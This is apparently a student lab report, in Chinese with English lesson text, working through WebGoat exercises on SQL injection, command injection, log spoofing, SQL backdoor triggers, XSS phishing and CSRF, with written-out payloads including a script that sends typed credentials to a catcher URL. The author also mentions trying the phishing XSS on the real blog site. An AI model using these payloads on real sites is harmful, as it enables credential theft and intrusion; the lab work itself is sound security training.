zoukankan      html  css  js  c++  java
  • 2017-2018-2 20155228 《网络对抗技术》 实验九:Web安全基础

    2017-2018-2 20155228 《网络对抗技术》 实验九:Web安全基础

    1. 实践内容

    1.1 标理解常用网络攻击技术的基本原理

    1.2 在Webgoat实验环境下实践相关实验


    2. 基础问题回答

    2.1 SQL注入攻击原理,如何防御

    攻击原理

    SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,致使非法数据侵入系统。

    防御办法

    • 使用参数化的过滤性语句

    将用户的输入必须进行过滤去掉特殊字符,或者使用参数化的语句从用户输入提取参数放到SQL语句中而不是直接把用户输入放到SQL语句中

    • 输入验证

    检查用户输入的合法性,确信输入的内容只包含合法的数据,比如本次实验中数字SQL注入的防御办法就是禁止输入字符串

    • 错误消息处理

    避免出现一些详细的错误消息被攻击者利用

    • 加密处理

    将数据进行加密处理使其不具有特殊的意义

    2.2 XSS攻击的原理,如何防御

    攻击原理

    XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。

    防御措施

    • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

    • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

    • 确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。

    2.3 CSRF攻击原理,如何防御

    攻击原理

    CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

    防御措施

    • 将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field。

    • 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。


    3. 实践总结与体会

    这次实验体验了三种攻击方式。对于SQL注入来说,一般的处理思路是,首先加入符号使得上一条语句完整,其次是加入恶意代码实现入侵目的,最后是加入注释符号注释掉后面不完整的代码。防御的办法主要就是对用户的输入进行检查,限制长度,去掉非法字符等等;XSS给我的感觉就是用来钓鱼,但是好像直接作为网页的一部分打印出来也太蠢了,我也是试过对博客园试一下XSS攻击的,想要设置打开这篇博客时弹出警告框提示登录信息失效要求重新输入信息,但是失败了,弹不出任何东西来,在本地跑这个代码是没有问题的。

    登录信息失效,请重新登录


    Enter Username:

    Enter Password:

    4. 实践过程记录

    4.1 实验环境准备

    启动webgoat

    java -jar webgoat-container-7.0.1-war-exec.jar
    

    打开浏览器,输入下列地址

    localhost:8080/WebGoat
    

    登录webgoat

    4.2 SQL注入攻击

    SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.

    SQL注入攻击对任何数据库驱动的站点都构成严重威胁。 攻击背后的方法很容易学习,而造成的破坏可能包括相当多的系统妥协。尽管存在这些风险,互联网上数量惊人的系统容易受到这种攻击形式的影响。

    Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.

    这不仅是一个容易受到煽动的威胁,而且它也是一种威胁,只要有一点常识和深思熟虑,就可以轻松防止。

    It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.

    对所有输入数据进行清理,尤其是在操作系统命令,脚本和数据库查询中使用的数据,即使SQL注入的威胁以其他方式阻止,也是一个很好的做法。

    在左侧导航栏找到并点击Injection Flows进入SQL注入攻击栏目

    4.2.1 Numeric SQL Injection

    在左侧导航栏的Injection Flows中找到并点击Numeric SQL Injection进入课程

    在课程标题栏下找到并点击RestartLesson从头开始

    General Goal(s)

    The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.

    下面的表格允许用户查看天气数据。尝试注入一个导致所有天气数据显示的SQL字符串。

    攻击原理

    以选择weather station为Columbia为例

    后台正常的SQL语句为

    SELECT * FROM weather_data WHERE station = 101
    

    实施SQL注入后语句为

    SELECT * FROM weather_data WHERE station = 101 or 1=1
    

    实现方案1:设置代理并截获修改数据包

    在firefox浏览器中设置代理

    firefox浏览器右上角选项栏,preference->advanced->network->connection->settings,设定任意大于1024的端口

    在BurpSuite中设置监听

    kali桌面左侧导航栏内找到并打开BurpSuite,Proxy->Options->Add,绑定与浏览器代理相同的端口

    切换到firefox浏览器,进入Numeric SQL Injection,选择任意weather station,点击go

    切换到BurpSuite,Proxy->Intercept,看到捕获的数据包

    右键点击数据包,选择send to repeater

    repeater->Params,修改station的value为101 or 1=1,点击左上角go,右侧栏可以看到response

    右键点击response,选择在浏览器中显示

    攻击完成之后要将浏览器代理关闭,并在BurpSuite设置intercept is off

    实现方案2:使用firefox浏览器直接修改代码

    firefox浏览器右上角选项栏,developer->Toggle tools

    进入Numeric SQL Injection,找到下拉选择框,点击右键,选择inspect elements

    修改101为101 or 1=1

    选择weather station为Columbia,点击go

    攻击成功

    防御办法

    4.2.2 Command Injection

    Command injection attacks represent a serious threat to any parameter-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.

    命令注入攻击对任何参数驱动的站点都构成严重威胁。 攻击背后的方法很容易学习,而造成的破坏可能包括相当多的系统妥协。 尽管存在这些风险,但互联网上数量惊人的系统易受这种攻击形式的影响。

    Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of parameter injection.

    清理所有输入数据,特别是用于操作系统命令,脚本和数据库查询的数据总是一个很好的做法。

    It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.

    这不仅是一个容易引发威胁的威胁,它也是一种威胁,只要有一点常识和深思熟虑,几乎可以完全防止。 本课将向学生展示几个参数注入的例子。

    Try to inject a command to the operating system.

    尝试向操作系统注入命令。

    General Goal(s)

    For this lesson, your goal is to understand Basic Authentication and answer the questions below.

    在本课中,您的目标是了解基本身份验证并回答以下问题。

    攻击原理

    正常的语句为

    '[/bin/sh, -c, cat "/root/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html"]'
    

    注入命令的语句为

    '[/bin/sh, -c, cat "/root/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html"&&ifconfig""]'
    

    实现方案

    在代码中添加"&&ifconfig"即可

    攻击成功

    4.2.3 Log Spoofing

    General Goal(s)

    • The grey area below represents what is going to be logged in the web server's log file.

    • 下面的灰色区域表示将在Web服务器的日志文件中记录的内容。

    • Your goal is to make it like a username "admin" has succeeded into logging in.

    • 您的目标是让它像用户名“admin”登录成功。

    • Elevate your attack by adding a script to the log file.

    • 通过向日志文件添加脚本来提升攻击。

    攻击原理和实现方案

    正常情况下在用户名栏输入webgoat和在密码栏输入任意密码对应的日志记录为

    Login failed for username: webgoat
    

    攻击时在用户名栏输入webgoat%0d%0aLogin Succeeded for username: admin和在密码栏输入任意密码对应的日志记录为

    Login failed for username: webgoat
    Login Succeeded for username: admin
    

    4.2.4 LAB: SQL Injection:Stage 1

    General Goal(s)

    Use String SQL Injection to bypass authentication. Use SQL injection to log in as the boss ('Neville') without using the correct password. Verify that Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete).

    使用字符串SQL注入绕过验证。 使用SQL注入作为老板('Neville')登录而不使用正确的密码。验证Neville的个人资料可以被查看,并且所有功能都可用(包括搜索,创建和删除)。

    攻击原理

    无注入SQL语句

    SELECT * FROM employee WHERE userid = '112' and password = 'webgoat'
    

    有注入SQL语句

    SELECT * FROM employee WHERE userid = '112' and password = '' or 1=1 --'
    

    实现方案

    修改密码最大输入长度为20

    在密码栏输入' or 1=1 --

    攻击成功可以看到所有员工的信息

    4.2.5 LAB: SQL Injection:Stage 3

    Execute SQL Injection to bypass authorization.

    执行SQL注入以绕过授权。

    As regular employee 'Larry', use SQL injection into a parameter of the View function (from the List Staff page) to view the profile of the boss ('Neville').

    作为普通员工'Larry',使用SQL注入到View函数的参数(从List Staff页面)来查看老板的简介('Neville')。

    攻击原理

    无注入SQL语句 101

    有注入SQL语句 101 or 1=1 order by salary desc --

    实现方案

    使用和stage 1中相同的办法以larry的身份登录

    修改代码为101 or 1=1 --

    攻击失败,从返回的结果来看,只打印一个人的结果,虽然在查询时是查到了所有人的结果,但是只能打印一个人的结果

    假设并不知道Neville的id,修改代码为101 or 1=1 order by salary desc --,其实从stage 1可以知道Neville的id是112,修改代码为112 or 1=1 --也可以

    攻击成功

    4.2.6 String SQL Injection

    General Goal(s)

    The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed. Try the user name of 'Smith'.

    下面的表格允许用户查看他们的信用卡号码。 尝试注入一个SQL字符串,以显示所有信用卡号码。 尝试使用'Smith'的用户名。

    攻击原理

    无注入SQL语句 SELECT * FROM user_data WHERE last_name = 'Smith'

    有注入SQL语句 SELECT * FROM user_data WHERE last_name = 'Smith' or '1'='1'

    实现方案

    修改代码为Smith ' or '1'='1

    攻击成功

    4.2.7 Database Backdoors:Stage 1

    General Goal(s)

    Use String SQL Injection to execute more than one SQL Statement. The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL statements. The first is the system's while the second is totally yours. Your account ID is 101. This page allows you to see your password, ssn and salary. Try to inject another update to update salary to something higher

    阶段1:使用字符串SQL注入来执行多个SQL语句。 本课的第一阶段是教您如何使用易受攻击的字段创建两条SQL语句。 第一个是系统,第二个完全是你的。 您的帐户ID为101.此页面允许您查看密码,ssn和工资。 尝试注入另一个更新来更新薪水

    实现方案

    正常情况下输入101返回结果为

    输入101; update employee set password=20155228返回结果为

    4.2.8 Database Backdoors:Stage 2

    General Goal(s)

    Use String SQL Injection to inject a backdoor. The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor. Now try to use the same technique to inject a trigger that would act as SQL backdoor, the syntax of a trigger is:

    阶段2:使用字符串SQL注入来注入后门。 本课的第二阶段是教你如何使用一个弱点字段来注入数据库工作或后门。 现在尝试使用相同的技术来注入一个充当SQL后门的触发器,触发器的语法是:
    CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

    Note that nothing will actually be executed because the current underlying DB doesn't support triggers.
    请注意,由于当前底层数据库不支持触发器,因此不会执行任何操作。

    实现方案

    输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid返回结果为

    4.3 Cross-Site Scripting (XSS)

    4.3.1 Phishing with XSS

    This lesson is an example of how a website might support a phishing attack if there is a known XSS attack on the page

    如果网页上存在已知的XSS攻击,本课程将举例说明网站如何支持网络钓鱼攻击

    General Goal(s)

    Using XSS and HTML insertion, your goal is to:

    使用XSS和HTML插入,您的目标是:

    • Insert html to that requests credentials

    • 将html插入到请求证书中

    • Add javascript to actually collect the credentials

    • 添加JavaScript实际收集凭据

    • Post the credentials to http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

    • 将证书发布到http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...

    to pass this lesson, the credentials must be posted to the catcher servlet.

    要通过本课,必须将凭证发布到捕获器servlet。

    实现方案

    在搜索栏输入以下代码,点击提交

    </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    在搜索结果看到要求输入账号和密码

    点击login,攻击成功

    4.3.2 Stored XSS Attacks

    It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved.

    清理所有输入,尤其是稍后将用作OS命令,脚本和数据库查询的参数的输入总是一个好习惯。 对于永久存储在应用程序某处的内容而言,这一点尤其重要。 用户不应该能够创建可能导致其他用户在检索到用户消息时加载不需要的页面或不需要的内容的消息内容。

    实现方案

    在标题栏输入任意内容,在内容栏输入以下代码,点击提交

    </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    在文章列表中找到刚才提交的文章,进入文章可以看到要求输入账号和密码

    4.4 Cross Site Request Forgery(CSRF)

    General Goal(s)

    Your goal is to send an email to a newsgroup. The email contains an image whose URL is pointing to a malicious request. In this lesson the URL should point to the "attack" servlet with the lesson's "Screen" and "menu" parameters and an extra parameter "transferFunds" having an arbitrary numeric value such as 5000. You can construct the link by finding the "Screen" and "menu" values in the Parameters inset on the right. Recipients of CSRF emails that happen to be authenticated at that time will have their funds transferred. When this lesson's attack succeeds, a green checkmark appears beside the lesson name in the menu on the left.

    您的目标是发送电子邮件到新闻组。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应指向带有课程“屏幕”和“菜单”参数的“攻击”servlet,以及具有任意数值(如5000)的额外参数“transferFunds”。您可以通过查找“屏幕 “和”菜单“值在右边的参数插入中。 当时发生认证的CSRF电子邮件的收件人将转移其资金。 当本课的攻击成功时,左侧菜单中的课程名称旁会出现绿色复选标记。

    实现方案

    在标题栏输入任意内容,在内容栏根据右侧栏中信息输入以下代码,点击提交

    <img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=500" width="1" height="1">
    

    攻击成功


  • 相关阅读:
    RESTful架构的设计误区
    CRUD的http请求方式
    RESTful API的安全性
    REST风格的原则
    REST架构风格理解
    ansible上手之认识Playbook
    ansible模块之file
    ansible模块之yum,yum_repository
    ansible模块之copy
    Pygame
  • 原文地址:https://www.cnblogs.com/besti20155228/p/9095879.html
Copyright © 2011-2022 走看看